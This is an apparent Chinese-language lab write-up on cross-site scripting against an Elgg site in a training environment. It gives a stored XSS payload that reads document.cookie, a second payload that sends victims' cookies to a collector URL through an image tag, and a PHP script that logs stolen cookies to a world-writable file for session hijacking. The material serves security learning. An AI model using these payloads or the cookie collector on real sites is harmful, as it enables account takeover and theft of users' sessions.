xss學習實驗

xss主體分爲兩類
來自內部：主要利用程序自身的漏洞，構造跨站語句。
來自外部：本身構造xss跨站漏洞頁面，而後誘惑管理員點擊，從而獲取信息

下面進行實驗樓的實驗
配置DNS ：sudo vim /etc/hosts
配置網站文件： sudo vim /etc/apache2/conf.d/lab.conf

啓動sql和apache服務
sudo mysqld_safe
sudo service apache2 start

登陸網站，在用戶信息編輯界面輸入，紅框內爲得到的cookie
<script>document.write(document.cookie);</script>

可是咱們這是仍然得到的是本身的cookie，咱們不須要本身的cookie，咱們須要在不登陸的狀況下，獲取別人的cookie，這樣咱們就能使用cookie直接登陸別人的帳號。

要竊取別人的cookie，首先須要搭建一個能接受cookie的環境，而後經過JavaScript代碼把別人的cookie經過http請求發送到所搭的環境。

修改在用戶信息編輯界面輸入的代碼
<script>document.write('<img src=http://www.xsslabelgg.com/hac...' + escape(document.cookie) + '>');</script>

在網站目錄下搭建一個hack.php文件
sudo vim /var/www/XSS/elgg/hack.php

代碼以下

<?php
$cookie = $_GET["c"];
$log = fopen("cookie.txt","a");
fwrite($log,$cookie ."n");
fclose($log);
?>

建立一個cookie.txt儲存cookie，而且這個文件要有寫入權限
sudo touch cookie.txt
sudo chmod 777 cookie.txt

刷新以前的用戶編輯界面後，查看cookie.txt文件，發現已經獲取到用戶的cookie

獲取到對方的cookie以後，攻擊者能夠僞造受害者向服務器發送請求。